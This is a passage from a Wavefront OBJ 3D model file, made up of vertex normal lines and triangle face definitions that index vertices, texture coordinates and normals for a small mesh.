vn -0.0000 0.0698 0.9976
vn 0.0000 -0.0770 -0.9970
vn -0.9970 -0.0770 -0.0000
vn 0.9970 -0.0770 0.0000
vn 0.0000 -0.3714 0.9285
vn 0.0000 0.3714 -0.9285
vn 0.0000 -0.3714 -0.9285
vn 0.0000 0.3714 0.9285
vn 0.9285 -0.3714 -0.0000
vn -0.9285 0.3714 0.0000
vn -0.9285 -0.3714 0.0000
vn 0.9285 0.3714 -0.0000
vn -0.3181 -0.8931 -0.3181
vn -0.0000 0.8546 0.5192
vn -0.0000 0.9840 0.1780
vn -0.0000 0.6957 0.7184
vn 0.1780 0.9840 -0.0000
vn 0.7184 0.6957 0.0000
vn 0.5192 0.8546 0.0000
vn -0.0000 0.8546 -0.5192
vn -0.0000 0.9840 -0.1780
vn -0.0000 0.6957 -0.7184
vn -0.1780 0.9840 -0.0000
vn -0.7184 0.6957 -0.0000
vn -0.5192 0.8546 -0.0000
vn -0.0000 0.3710 -0.9286
vn -0.9286 0.3710 -0.0000
vn -0.0000 0.3710 0.9286
vn 0.9286 0.3710 0.0000
vn 0.0000 -0.8547 -0.5192
vn 0.0000 -0.9841 -0.1778
vn 0.0000 -0.6957 -0.7183
vn -0.1778 -0.9841 0.0000
vn -0.7183 -0.6957 -0.0000
vn -0.5192 -0.8547 0.0000
vn 0.0000 -0.8547 0.5192
vn 0.0000 -0.9841 0.1778
vn 0.0000 -0.6957 0.7183
vn 0.1778 -0.9841 0.0000
vn 0.7183 -0.6957 0.0000
vn 0.5192 -0.8547 0.0000
vn 0.0000 -0.3679 0.9299
vn 0.9299 -0.3679 0.0000
vn 0.0000 -0.3679 -0.9299
vn -0.9299 -0.3679 -0.0000
vn -0.9603 0.2227 -0.1678
vn -0.9414 0.2171 -0.2580
vn -0.9225 0.1524 -0.3546
vn 0.9597 0.1809 -0.2149
vn 0.9409 0.1337 -0.3110
vn -0.1678 0.2227 0.9603
vn -0.2580 0.2171 0.9414
vn -0.2149 0.1809 -0.9597
vn -0.3110 0.1337 -0.9409
vn 0.9603 0.2227 0.1678
vn 0.9414 0.2171 0.2580
vn -0.9597 0.1809 0.2149
vn -0.9409 0.1337 0.3110
vn 0.1678 0.2227 -0.9603
vn 0.2580 0.2171 -0.9414
vn 0.2149 0.1809 0.9597
vn 0.3110 0.1337 0.9409
vn 0.9227 0.0000 -0.3855
vn -0.3546 0.1524 0.9225
vn -0.3855 0.0000 -0.9227
vn 0.9225 0.1524 0.3546
vn -0.9227 0.0000 0.3855
vn 0.3546 0.1524 -0.9225
vn 0.3855 0.0000 0.9227
vn 0.0000 -0.9287 0.3710
vn 0.3710 -0.9286 0.0000
vn 0.0000 -0.9287 -0.3710
vn -0.3710 -0.9286 -0.0000
vn -0.5555 -0.6641 -0.5004
vn 0.5597 -0.7695 -0.3074
vn -0.5004 -0.6641 0.5555
vn -0.3074 -0.7695 -0.5597
vn 0.5555 -0.6641 0.5004
vn -0.5597 -0.7696 0.3074
vn 0.5004 -0.6641 -0.5555
vn 0.3074 -0.7695 0.5597
vn -0.2055 0.9568 0.2055
vn -0.0637 0.9959 0.0637
vn -0.3978 0.8268 0.3978
vn 0.0637 0.9959 0.0637
vn 0.3978 0.8268 0.3978
vn 0.2055 0.9568 0.2055
vn 0.2055 0.9568 -0.2055
vn 0.0637 0.9959 -0.0637
vn 0.3978 0.8268 -0.3978
vn -0.0637 0.9959 -0.0637
vn -0.3978 0.8268 -0.3978
vn -0.2055 0.9568 -0.2055
vn 0.2052 -0.9570 -0.2052
vn 0.0635 -0.9960 -0.0635
vn 0.3982 -0.8264 -0.3982
vn -0.0635 -0.9960 -0.0635
vn -0.3982 -0.8264 -0.3982
vn -0.2052 -0.9570 -0.2052
vn -0.2052 -0.9570 0.2052
vn -0.0635 -0.9960 0.0635
vn -0.3982 -0.8264 0.3982
vn 0.0635 -0.9960 0.0635
vn 0.3982 -0.8264 0.3982
vn 0.2052 -0.9570 0.2052
vn -0.9057 -0.2847 -0.3140
vn -0.2773 0.2227 -0.9346
vn -0.2348 0.1200 -0.9646
vn 0.2866 -0.2190 0.9327
vn 0.9611 0.1168 0.2502
vn -0.5846 -0.5625 0.5846
vn -0.3140 -0.2847 0.9057
vn -0.9346 0.2227 0.2773
vn 0.9327 -0.2190 -0.2866
vn 0.2502 0.1168 -0.9611
vn 0.5846 -0.5625 0.5846
vn 0.9057 -0.2847 0.3140
vn 0.2773 0.2227 0.9346
vn -0.2866 -0.2190 -0.9327
vn -0.9611 0.1168 -0.2502
vn 0.5846 -0.5625 -0.5846
vn 0.3140 -0.2847 -0.9057
vn 0.9346 0.2227 -0.2773
vn -0.9327 -0.2190 0.2866
vn -0.2502 0.1168 0.9611
vn -0.5846 -0.5625 -0.5846
vn 0.9748 0.0000 0.2229
vn -0.9646 0.1200 0.2348
vn 0.2229 0.0000 -0.9748
vn 0.2348 0.1200 0.9646
vn -0.9748 0.0000 -0.2229
vn 0.9646 0.1200 -0.2348
vn -0.2229 0.0000 0.9748
vn -0.9597 0.1809 -0.2150
vn -0.9409 0.1337 -0.3110
vn -0.9227 0.0000 -0.3855
vn 0.9603 0.2227 -0.1678
vn 0.9414 0.2172 -0.2580
vn -0.2150 0.1809 0.9597
vn -0.3110 0.1337 0.9409
vn -0.1678 0.2227 -0.9603
vn -0.2580 0.2172 -0.9414
vn 0.9597 0.1809 0.2150
vn 0.9409 0.1337 0.3110
vn -0.9603 0.2227 0.1678
vn -0.9414 0.2172 0.2580
vn 0.2150 0.1809 -0.9597
vn 0.3110 0.1337 -0.9409
vn 0.1678 0.2227 0.9603
vn 0.2580 0.2172 0.9414
vn 0.9225 0.1524 -0.3546
vn -0.3855 0.0000 0.9227
vn -0.3546 0.1524 -0.9225
vn 0.9227 0.0000 0.3855
vn -0.9225 0.1524 0.3546
vn 0.3855 0.0000 -0.9227
vn 0.3546 0.1524 0.9225
vn 0.0000 -0.9286 0.3710
vn -0.3709 -0.9287 0.0000
vn -0.5597 -0.7695 -0.3074
vn 0.5555 -0.6641 -0.5004
vn -0.3074 -0.7695 0.5597
vn -0.5004 -0.6641 -0.5555
vn 0.5597 -0.7695 0.3074
vn -0.5555 -0.6641 0.5004
vn 0.3074 -0.7695 -0.5597
vn 0.5004 -0.6641 0.5555
vn -0.9327 -0.2190 -0.2866
vn -0.2502 0.1168 -0.9611
vn -0.2229 0.0000 -0.9748
vn 0.3140 -0.2847 0.9057
vn 0.9346 0.2227 0.2773
vn -0.2866 -0.2189 0.9327
vn -0.9611 0.1168 0.2502
vn 0.9057 -0.2847 -0.3140
vn 0.2773 0.2227 -0.9346
vn 0.9327 -0.2189 0.2866
vn 0.2502 0.1168 0.9611
vn -0.3140 -0.2847 -0.9057
vn -0.9346 0.2227 -0.2773
vn 0.2866 -0.2189 -0.9327
vn 0.9611 0.1168 -0.2502
vn -0.9057 -0.2847 0.3140
vn -0.2773 0.2227 0.9346
vn 0.9646 0.1199 0.2348
vn -0.9748 0.0000 0.2229
vn 0.2348 0.1199 -0.9646
vn 0.2229 0.0000 0.9748
vn -0.9646 0.1199 -0.2348
vn 0.9748 0.0000 -0.2229
vn -0.2348 0.1199 0.9646
s off
f 126/1/1 129/2/1 130/3/1
f 127/4/2 126/1/2 130/3/2
f 125/5/3 128/6/3 129/2/3
f 130/7/4 132/8/4 133/9/4
f 127/4/5 130/7/5 133/9/5
f 129/10/6 131/11/6 132/8/6
f 127/4/7 133/9/7 136/12/7
f 131/11/8 135/13/8 132/8/8
f 133/9/9 135/13/9 136/12/9
f 134/14/10 138/15/10 135/13/10
f 135/13/11 139/16/11 136/12/11
f 127/4/12 136/12/12 139/16/12
f 138/15/13 142/17/13 139/16/13
f 127/4/14 139/16/14 142/17/14
f 137/18/15 141/19/15 138/15/15
f 127/4/16 142/17/16 145/20/16
f 140/21/17 144/22/17 141/19/17
f 141/19/18 145/20/18 142/17/18
f 127/4/19 145/20/19 148/23/19
f 144/22/20 146/24/20 147/25/20
f 144/22/21 148/23/21 145/20/21
f 148/23/22 125/5/22 126/1/22
f 127/4/23 148/23/23 126/1/23
f 147/25/24 124/26/24 125/5/24
f 154/27/25 151/28/25 155/29/25
f 155/29/26 151/28/26 152/30/26
f 153/31/27 150/32/27 154/27/27
f 157/33/28 155/34/28 158/35/28
f 158/35/29 155/34/29 152/30/29
f 156/36/30 154/37/30 157/33/30
f 161/38/31 158/35/31 152/30/31
f 159/39/32 157/33/32 160/40/32
f 160/40/33 158/35/33 161/38/33
f 163/41/34 159/39/34 160/40/34
f 164/42/35 160/40/35 161/38/35
f 164/42/36 161/38/36 152/30/36
f 167/43/37 163/41/37 164/42/37
f 167/43/38 164/42/38 152/30/38
f 166/44/39 162/45/39 163/41/39
f 170/46/40 167/43/40 152/30/40
f 169/47/41 165/48/41 166/44/41
f 170/46/42 166/44/42 167/43/42
f 173/49/43 170/46/43 152/30/43
f 171/50/44 169/47/44 172/51/44
f 173/49/45 169/47/45 170/46/45
f 150/32/46 173/49/46 151/28/46
f 151/28/47 173/49/47 152/30/47
f 149/52/48 172/51/48 150/32/48
f 124/53/49 153/54/49 128/55/49
f 131/56/50 153/57/50 156/58/50
f 131/59/51 159/60/51 134/61/51
f 134/62/52 162/63/52 137/64/52
f 140/65/53 162/66/53 165/67/53
f 143/68/54 165/69/54 168/70/54
f 143/71/55 171/72/55 146/73/55
f 146/74/56 149/75/56 124/76/56
f 126/1/1 125/5/1 129/2/1
f 125/5/3 124/26/3 128/6/3
f 130/7/4 129/10/4 132/8/4
f 129/10/6 128/77/6 131/11/6
f 131/11/8 134/14/8 135/13/8
f 133/9/9 132/8/9 135/13/9
f 134/14/10 137/18/10 138/15/10
f 135/13/11 138/15/11 139/16/11
f 138/15/13 141/19/13 142/17/13
f 137/18/15 140/21/15 141/19/15
f 140/21/17 143/78/17 144/22/17
f 141/19/18 144/22/18 145/20/18
f 144/22/20 143/78/20 146/24/20
f 144/22/21 147/25/21 148/23/21
f 148/23/22 147/25/22 125/5/22
f 147/25/24 146/24/24 124/26/24
f 154/27/25 150/32/25 151/28/25
f 153/31/27 149/52/27 150/32/27
f 157/33/28 154/37/28 155/34/28
f 156/36/30 153/79/30 154/37/30
f 159/39/32 156/36/32 157/33/32
f 160/40/33 157/33/33 158/35/33
f 163/41/34 162/45/34 159/39/34
f 164/42/35 163/41/35 160/40/35
f 167/43/37 166/44/37 163/41/37
f 166/44/39 165/48/39 162/45/39
f 169/47/41 168/80/41 165/48/41
f 170/46/42 169/47/42 166/44/42
f 171/50/44 168/80/44 169/47/44
f 173/49/45 172/51/45 169/47/45
f 150/32/46 172/51/46 173/49/46
f 149/52/48 171/50/48 172/51/48
f 124/53/49 149/81/49 153/54/49
f 131/56/50 128/82/50 153/57/50
f 131/59/51 156/83/51 159/60/51
f 134/62/52 159/84/52 162/63/52
f 140/65/53 137/85/53 162/66/53
f 143/68/54 140/86/54 165/69/54
f 143/71/55 168/87/55 171/72/55
f 146/74/56 171/88/56 149/75/56
f 4/89/57 1/90/57 2/91/57
f 17/92/58 8/93/58 7/94/58
f 8/93/58 5/95/58 7/94/58
f 16/96/57 30/97/57 15/98/57
f 7/99/59 9/100/59 3/101/59
f 8/102/60 2/103/60 6/104/60
f 9/100/61 12/105/61 10/106/61
f 5/107/62 10/106/62 12/105/62
f 5/108/63 11/109/63 7/110/63
f 3/111/64 10/106/64 1/112/64
f 16/96/57 13/113/57 14/114/57
f 20/115/60 29/116/60 16/117/60
f 20/118/58 17/92/58 19/119/58
f 14/114/57 3/120/57 4/89/57
f 19/121/59 21/122/59 15/123/59
f 20/115/60 14/124/60 18/125/60
f 21/122/61 24/126/61 22/127/61
f 17/128/62 22/127/62 24/126/62
f 17/129/63 23/130/63 19/131/63
f 15/132/64 22/127/64 13/133/64
f 3/134/61 17/135/61 7/136/61
f 8/102/60 14/124/60 4/137/60
f 27/138/62 25/139/62 28/140/62
f 31/141/59 30/97/59 29/142/59
f 1/90/57 26/143/57 2/91/57
f 5/144/61 25/139/61 1/90/61
f 19/119/58 31/141/58 20/118/58
f 6/104/60 26/145/60 27/146/60
f 6/147/58 28/148/58 5/95/58
f 15/149/61 32/150/61 19/151/61
f 34/152/65 36/153/65 37/154/65
f 50/155/66 37/154/66 51/156/66
f 37/154/67 38/157/67 39/158/67
f 37/154/68 52/159/68 51/156/68
f 39/158/69 53/160/69 52/159/69
f 38/157/70 41/161/70 39/158/70
f 40/162/71 43/163/71 41/161/71
f 41/161/72 54/164/72 53/160/72
f 42/165/73 45/166/73 43/163/73
f 43/163/74 55/167/74 54/164/74
f 55/167/75 47/168/75 56/169/75
f 44/170/76 47/168/76 45/166/76
f 56/169/77 49/171/77 57/172/77
f 47/168/78 48/173/78 49/171/78
f 49/171/79 33/174/79 34/152/79
f 57/172/80 34/152/80 50/155/80
f 35/175/81 57/172/81 50/155/81
f 35/175/82 56/169/82 57/172/82
f 35/175/83 55/167/83 56/169/83
f 35/175/84 54/164/84 55/167/84
f 35/175/85 53/160/85 54/164/85
f 35/175/86 52/159/86 53/160/86
f 35/175/87 51/156/87 52/159/87
f 35/175/88 50/155/88 51/156/88
f 177/176/61 174/177/61 175/178/61
f 177/179/89 180/180/89 176/181/89
f 181/182/60 178/183/60 180/180/60
f 175/178/90 178/183/90 179/184/90
f 176/185/58 178/186/58 174/187/58
f 181/188/59 175/189/59 179/190/59
f 182/191/61 177/192/61 175/193/61
f 185/194/91 177/195/91 183/196/91
f 185/194/60 179/197/60 181/198/60
f 184/199/92 175/193/92 179/197/92
f 188/200/61 182/201/61 187/202/61
f 186/203/90 183/204/90 188/205/90
f 189/206/60 185/207/60 186/203/60
f 189/206/89 182/201/89 184/208/89
f 183/209/57 184/210/57 182/211/57
f 189/212/62 188/213/62 187/214/62
f 174/215/61 188/216/61 187/217/61
f 176/218/92 186/219/92 188/220/92
f 178/221/60 186/219/60 180/222/60
f 174/215/91 189/223/91 178/221/91
f 193/224/61 190/225/61 191/226/61
f 193/227/89 196/228/89 192/229/89
f 195/230/60 196/231/60 197/232/60
f 191/226/90 194/233/90 195/230/90
f 190/234/58 196/235/58 194/236/58
f 197/237/59 191/238/59 195/239/59
f 198/240/61 193/241/61 191/242/61
f 201/243/91 193/244/91 199/245/91
f 201/243/60 195/246/60 197/247/60
f 200/248/92 191/242/92 195/246/92
f 204/249/61 198/250/61 203/251/61
f 202/252/90 199/253/90 204/254/90
f 202/252/60 200/255/60 201/256/60
f 205/257/89 198/250/89 200/255/89
f 199/258/57 200/259/57 198/260/57
f 205/261/62 204/262/62 203/263/62
f 192/264/61 203/265/61 190/266/61
f 192/267/92 202/268/92 204/269/92
f 194/270/60 202/268/60 196/271/60
f 190/266/91 205/272/91 194/270/91
f 207/273/58 208/274/58 206/275/58
f 213/276/59 208/274/59 209/277/59
f 211/278/57 212/279/57 213/280/57
f 211/281/62 206/282/62 210/283/62
f 212/284/59 214/285/59 208/274/59
f 215/286/60 216/287/60 217/288/60
f 210/283/62 215/289/62 217/290/62
f 210/291/93 216/287/93 212/279/93
f 206/275/94 214/285/94 215/286/94
f 221/292/95 218/293/95 219/294/95
f 221/292/96 224/295/96 220/296/96
f 223/297/97 224/295/97 225/298/97
f 219/294/98 222/299/98 223/300/98
f 218/293/60 224/295/60 222/299/60
f 225/298/99 227/301/99 228/302/99
f 226/303/100 229/304/100 230/305/100
f 223/297/101 228/302/101 229/306/101
f 219/294/102 227/301/102 221/292/102
f 223/300/103 226/303/103 219/294/103
f 228/302/104 227/301/104 230/305/104
f 229/306/105 228/302/105 230/305/105
f 227/301/106 226/303/106 230/305/106
f 240/307/107 231/308/107 242/309/107
f 240/307/57 234/310/57 232/311/57
f 238/312/108 234/310/108 236/313/108
f 242/314/58 233/315/58 238/312/58
f 236/316/109 237/317/109 235/318/109
f 238/319/58 241/320/58 237/321/58
f 240/322/110 241/320/110 242/323/110
f 236/316/57 239/324/57 240/322/57
f 236/325/111 243/326/111 240/327/111
f 236/328/62 246/329/62 244/330/62
f 242/331/112 246/329/112 238/332/112
f 240/327/59 245/333/59 242/331/59
f 242/334/113 247/335/113 238/336/113
f 242/334/59 250/337/59 248/338/59
f 236/339/114 250/337/114 240/340/114
f 238/341/62 249/342/62 236/339/62
f 4/89/57 3/120/57 1/90/57
f 17/92/58 18/343/58 8/93/58
f 8/93/58 6/147/58 5/95/58
f 16/96/57 29/142/57 30/97/57
f 7/99/59 11/109/59 9/100/59
f 8/102/60 4/137/60 2/103/60
f 9/100/61 11/109/61 12/105/61
f 5/107/62 1/344/62 10/106/62
f 5/108/63 12/105/63 11/109/63
f 3/111/64 9/100/64 10/106/64
f 16/96/57 15/98/57 13/113/57
f 20/115/60 31/345/60 29/116/60
f 20/118/58 18/343/58 17/92/58
f 14/114/57 13/113/57 3/120/57
f 19/121/59 23/130/59 21/122/59
f 20/115/60 16/117/60 14/124/60
f 21/122/61 23/130/61 24/126/61
f 17/128/62 13/346/62 22/127/62
f 17/129/63 24/126/63 23/130/63
f 15/132/64 21/122/64 22/127/64
f 3/134/61 13/347/61 17/135/61
f 8/102/60 18/125/60 14/124/60
f 27/138/62 26/143/62 25/139/62
f 31/141/59 32/348/59 30/97/59
f 1/90/57 25/139/57 26/143/57
f 5/144/61 28/349/61 25/139/61
f 19/119/58 32/348/58 31/141/58
f 6/104/60 2/103/60 26/145/60
f 6/147/58 27/350/58 28/148/58
f 15/149/61 30/351/61 32/150/61
f 34/152/65 33/174/65 36/153/65
f 50/155/66 34/152/66 37/154/66
f 37/154/67 36/153/67 38/157/67
f 37/154/68 39/158/68 52/159/68
f 39/158/115 41/161/115 53/160/115
f 38/157/70 40/162/70 41/161/70
f 40/162/71 42/165/71 43/163/71
f 41/161/72 43/163/72 54/164/72
f 42/165/73 44/170/73 45/166/73
f 43/163/74 45/166/74 55/167/74
f 55/167/75 45/166/75 47/168/75
f 44/170/76 46/352/76 47/168/76
f 56/169/77 47/168/77 49/171/77
f 47/168/78 46/352/78 48/173/78
f 49/171/79 48/173/79 33/174/79
f 57/172/80 49/171/80 34/152/80
f 177/176/61 176/353/61 174/177/61
f 177/179/89 181/182/89 180/180/89
f 181/182/60 179/184/60 178/183/60
f 175/178/90 174/177/90 178/183/90
f 176/185/58 180/354/58 178/186/58
f 181/188/59 177/355/59 175/189/59
f 182/191/61 183/356/61 177/192/61
f 185/194/91 181/198/91 177/195/91
f 185/194/60 184/199/60 179/197/60
f 184/199/92 182/191/92 175/193/92
f 188/200/61 183/357/61 182/201/61
f 186/203/90 185/207/90 183/204/90
f 189/206/60 184/208/60 185/207/60
f 189/206/89 187/202/89 182/201/89
f 183/209/57 185/358/57 184/210/57
f 189/212/62 186/359/62 188/213/62
f 174/215/61 176/360/61 188/216/61
f 176/218/92 180/222/92 186/219/92
f 178/221/60 189/223/60 186/219/60
f 174/215/91 187/217/91 189/223/91
f 193/224/61 192/361/61 190/225/61
f 193/227/89 197/362/89 196/228/89
f 195/230/60 194/233/60 196/231/60
f 191/226/90 190/225/90 194/233/90
f 190/234/58 192/363/58 196/235/58
f 197/237/59 193/364/59 191/238/59
f 198/240/61 199/365/61 193/241/61
f 201/243/91 197/247/91 193/244/91
f 201/243/60 200/248/60 195/246/60
f 200/248/92 198/240/92 191/242/92
f 204/249/61 199/366/61 198/250/61
f 202/252/90 201/256/90 199/253/90
f 202/252/60 205/257/60 200/255/60
f 205/257/89 203/251/89 198/250/89
f 199/258/57 201/367/57 200/259/57
f 205/261/62 202/368/62 204/262/62
f 192/264/61 204/369/61 203/265/61
f 192/267/92 196/271/92 202/268/92
f 194/270/60 205/272/60 202/268/60
f 190/266/91 203/265/91 205/272/91
f 207/273/58 209/277/58 208/274/58
f 213/276/59 212/284/59 208/274/59
f 211/278/57 210/291/57 212/279/57
f 211/281/62 207/370/62 206/282/62
f 212/284/59 216/287/59 214/285/59
f 215/286/60 214/285/60 216/287/60
f 210/283/62 206/282/62 215/289/62
f 210/291/93 217/288/93 216/287/93
f 206/275/94 208/274/94 214/285/94
f 221/292/95 220/296/95 218/293/95
f 221/292/96 225/298/96 224/295/96
f 223/297/97 222/299/97 224/295/97
f 219/294/98 218/293/98 222/299/98
f 218/293/60 220/296/60 224/295/60
f 225/298/99 221/292/99 227/301/99
f 223/297/101 225/298/101 228/302/101
f 219/294/102 226/303/102 227/301/102
f 223/300/103 229/304/103 226/303/103
f 240/307/107 232/311/107 231/308/107
f 240/307/57 236/313/57 234/310/57
f 238/312/108 233/315/108 234/310/108
f 242/314/58 231/371/58 233/315/58
f 236/316/109 238/372/109 237/317/109
f 238/319/58 242/323/58 241/320/58
f 240/322/110 239/324/110 241/320/110
f 236/316/57 235/318/57 239/324/57
f 236/325/111 244/373/111 243/326/111
f 236/328/62 238/332/62 246/329/62
f 242/331/112 245/333/112 246/329/112
f 240/327/59 243/326/59 245/333/59
f 242/334/113 248/338/113 247/335/113
f 242/334/59 240/340/59 250/337/59
f 236/339/114 249/342/114 250/337/114
f 238/341/62 247/374/62 249/342/62
f 60/375/116 63/376/116 64/377/116
f 61/378/117 60/375/117 64/377/117
f 59/379/118 62/380/118 63/376/118
f 61/381/119 67/382/119 70/383/119
f 66/384/120 68/385/120 69/386/120
f 66/384/121 70/383/121 67/382/121
f 72/387/122 76/388/122 73/389/122
f 61/390/123 73/389/123 76/388/123
f 71/391/124 75/392/124 72/387/124
f 61/393/125 79/394/125 82/395/125
f 77/396/126 81/397/126 78/398/126
f 78/398/127 82/395/127 79/394/127
f 74/399/128 87/400/128 88/401/128
f 77/396/129 90/402/129 80/403/129
f 58/404/130 84/405/130 62/380/130
f 65/406/131 86/407/131 68/385/131
f 96/408/132 93/409/132 97/410/132
f 97/410/133 93/409/133 94/411/133
f 95/412/134 92/413/134 96/408/134
f 103/414/135 100/415/135 94/416/135
f 101/417/136 99/418/136 102/419/136
f 103/414/137 99/418/137 100/415/137
f 109/420/138 105/421/138 106/422/138
f 109/420/139 106/422/139 94/423/139
f 108/424/140 104/425/140 105/421/140
f 115/426/141 112/427/141 94/428/141
f 113/429/142 111/430/142 114/431/142
f 115/426/143 111/430/143 112/427/143
f 120/432/144 107/433/144 121/434/144
f 122/435/145 113/429/145 123/436/145
f 117/437/146 91/438/146 95/412/146
f 118/439/147 101/417/147 119/440/147
f 59/379/148 91/441/148 58/404/148
f 60/375/149 92/442/149 59/379/149
f 61/378/150 93/443/150 60/375/150
f 63/376/151 95/444/151 96/445/151
f 64/377/152 96/445/152 97/446/152
f 66/384/153 98/447/153 65/406/153
f 67/382/154 99/448/154 66/384/154
f 69/386/155 101/449/155 102/450/155
f 70/383/156 102/450/156 103/451/156
f 72/387/157 104/452/157 71/391/157
f 73/389/158 105/453/158 72/387/158
f 75/392/159 107/454/159 108/455/159
f 76/388/160 108/455/160 109/456/160
f 78/398/161 110/457/161 77/396/161
f 79/394/162 111/458/162 78/398/162
f 81/397/163 113/459/163 114/460/163
f 82/395/164 114/460/164 115/461/164
f 61/378/165 97/446/165 94/462/165
f 61/381/166 100/463/166 67/382/166
f 61/381/167 103/451/167 94/464/167
f 61/390/168 106/465/168 73/389/168
f 61/390/169 109/456/169 94/466/169
f 61/393/170 112/467/170 79/394/170
f 61/393/171 115/461/171 94/468/171
f 84/405/172 116/469/172 117/470/172
f 86/407/173 118/471/173 119/472/173
f 88/401/174 120/473/174 121/474/174
f 90/402/175 122/475/175 123/476/175
f 88/401/176 107/454/176 74/399/176
f 87/400/177 104/452/177 120/473/177
f 90/402/178 113/459/178 80/403/178
f 89/477/179 110/457/179 122/475/179
f 84/405/180 95/444/180 62/380/180
f 83/478/181 91/441/181 116/469/181
f 86/407/182 101/449/182 68/385/182
f 85/479/183 98/447/183 118/471/183
f 253/480/184 256/481/184 257/482/184
f 254/483/185 253/480/185 257/482/185
f 252/484/186 255/485/186 256/481/186
f 254/486/187 260/487/187 263/488/187
f 259/489/188 261/490/188 262/491/188
f 260/487/189 262/491/189 263/488/189
f 265/492/190 269/493/190 266/494/190
f 254/495/191 266/494/191 269/493/191
f 264/496/192 268/497/192 265/492/192
f 254/498/193 272/499/193 275/500/193
f 270/501/194 274/502/194 271/503/194
f 271/503/195 275/500/195 272/499/195
f 281/504/196 278/505/196 282/506/196
f 282/506/197 278/505/197 279/507/197
f 280/508/198 277/509/198 281/504/198
f 288/510/199 285/511/199 279/512/199
f 286/513/200 284/514/200 287/515/200
f 287/515/201 285/511/201 288/510/201
f 294/516/202 290/517/202 291/518/202
f 294/516/203 291/518/203 279/519/203
f 293/520/204 289/521/204 290/517/204
f 300/522/205 297/523/205 279/524/205
f 299/525/206 295/526/206 296/527/206
f 300/522/207 296/527/207 297/523/207
f 251/528/208 277/529/208 276/530/208
f 253/480/209 277/529/209 252/484/209
f 254/483/210 278/531/210 253/480/210
f 255/485/211 281/532/211 256/481/211
f 257/482/212 281/532/212 282/533/212
f 251/528/213 280/534/213 255/485/213
f 258/535/214 284/536/214 283/537/214
f 260/487/215 284/536/215 259/489/215
f 261/490/216 287/538/216 262/491/216
f 263/488/217 287/538/217 288/539/217
f 258/535/218 286/540/218 261/490/218
f 264/496/219 290/541/219 289/542/219
f 266/494/220 290/541/220 265/492/220
f 267/543/221 293/544/221 268/497/221
f 269/493/222 293/544/222 294/545/222
f 264/496/223 292/546/223 267/543/223
f 270/501/224 296/547/224 295/548/224
f 272/499/225 296/547/225 271/503/225
f 273/549/226 299/550/226 274/502/226
f 275/500/227 299/550/227 300/551/227
f 273/549/228 295/548/228 298/552/228
f 254/483/229 282/533/229 279/553/229
f 254/486/230 285/554/230 260/487/230
f 254/486/231 288/539/231 279/555/231
f 254/495/232 291/556/232 266/494/232
f 254/495/233 294/545/233 279/557/233
f 254/498/234 297/558/234 272/499/234
f 254/498/235 300/551/235 279/559/235
f 60/375/116 59/379/116 63/376/116
f 59/379/118 58/404/118 62/380/118
f 66/384/120 65/406/120 68/385/120
f 66/384/121 69/386/121 70/383/121
f 72/387/122 75/392/122 76/388/122
f 71/391/124 74/399/124 75/392/124
f 77/396/126 80/403/126 81/397/126
f 78/398/127 81/397/127 82/395/127
f 74/399/128 71/391/128 87/400/128
f 77/396/129 89/477/129 90/402/129
f 58/404/130 83/478/130 84/405/130
f 65/406/131 85/479/131 86/407/131
f 96/408/132 92/413/132 93/409/132
f 95/412/134 91/438/134 92/413/134
f 101/417/136 98/560/136 99/418/136
f 103/414/137 102/419/137 99/418/137
f 109/420/138 108/424/138 105/421/138
f 108/424/140 107/433/140 104/425/140
f 113/429/142 110/561/142 111/430/142
f 115/426/143 114/431/143 111/430/143
f 120/432/144 104/425/144 107/433/144
f 122/435/145 110/561/145 113/429/145
f 117/437/146 116/562/146 91/438/146
f 118/439/147 98/560/147 101/417/147
f 59/379/236 92/442/236 91/441/236
f 60/375/237 93/443/237 92/442/237
f 61/378/238 94/563/238 93/443/238
f 63/376/239 62/380/239 95/444/239
f 64/377/240 63/376/240 96/445/240
f 66/384/241 99/448/241 98/447/241
f 67/382/242 100/463/242 99/448/242
f 69/386/243 68/385/243 101/449/243
f 70/383/244 69/386/244 102/450/244
f 72/387/245 105/453/245 104/452/245
f 73/389/246 106/465/246 105/453/246
f 75/392/247 74/399/247 107/454/247
f 76/388/248 75/392/248 108/455/248
f 78/398/249 111/458/249 110/457/249
f 79/394/250 112/467/250 111/458/250
f 81/397/251 80/403/251 113/459/251
f 82/395/252 81/397/252 114/460/252
f 61/378/253 64/377/253 97/446/253
f 61/381/254 94/564/254 100/463/254
f 61/381/255 70/383/255 103/451/255
f 61/390/256 94/565/256 106/465/256
f 61/390/257 76/388/257 109/456/257
f 61/393/258 94/566/258 112/467/258
f 61/393/259 82/395/259 115/461/259
f 84/405/260 83/478/260 116/469/260
f 86/407/173 85/479/173 118/471/173
f 88/401/174 87/400/174 120/473/174
f 90/402/261 89/477/261 122/475/261
f 88/401/262 121/474/262 107/454/262
f 87/400/263 71/391/263 104/452/263
f 90/402/264 123/476/264 113/459/264
f 89/477/265 77/396/265 110/457/265
f 84/405/266 117/470/266 95/444/266
f 83/478/267 58/404/267 91/441/267
f 86/407/268 119/472/268 101/449/268
f 85/479/269 65/406/269 98/447/269
f 253/480/184 252/484/184 256/481/184
f 252/484/186 251/528/186 255/485/186
f 259/489/188 258/535/188 261/490/188
f 260/487/189 259/489/189 262/491/189
f 265/492/190 268/497/190 269/493/190
f 264/496/192 267/543/192 268/497/192
f 270/501/194 273/549/194 274/502/194
f 271/503/195 274/502/195 275/500/195
f 281/504/196 277/509/196 278/505/196
f 280/508/198 276/567/198 277/509/198
f 286/513/200 283/568/200 284/514/200
f 287/515/201 284/514/201 285/511/201
f 294/516/202 293/520/202 290/517/202
f 293/520/204 292/569/204 289/521/204
f 299/525/206 298/570/206 295/526/206
f 300/522/207 299/525/207 296/527/207
f 251/528/270 252/484/270 277/529/270
f 253/480/271 278/531/271 277/529/271
f 254/483/272 279/571/272 278/531/272
f 255/485/273 280/534/273 281/532/273
f 257/482/274 256/481/274 281/532/274
f 251/528/213 276/530/213 280/534/213
f 258/535/275 259/489/275 284/536/275
f 260/487/276 285/554/276 284/536/276
f 261/490/277 286/540/277 287/538/277
f 263/488/278 262/491/278 287/538/278
f 258/535/218 283/537/218 286/540/218
f 264/496/279 265/492/279 290/541/279
f 266/494/280 291/556/280 290/541/280
f 267/543/281 292/546/281 293/544/281
f 269/493/282 268/497/282 293/544/282
f 264/496/223 289/542/223 292/546/223
f 270/501/283 271/503/283 296/547/283
f 272/499/284 297/558/284 296/547/284
f 273/549/285 298/552/285 299/550/285
f 275/500/286 274/502/286 299/550/286
f 273/549/228 270/501/228 295/548/228
f 254/483/287 257/482/287 282/533/287
f 254/486/288 279/572/288 285/554/288
f 254/486/289 263/488/289 288/539/289
f 254/495/290 279/573/290 291/556/290
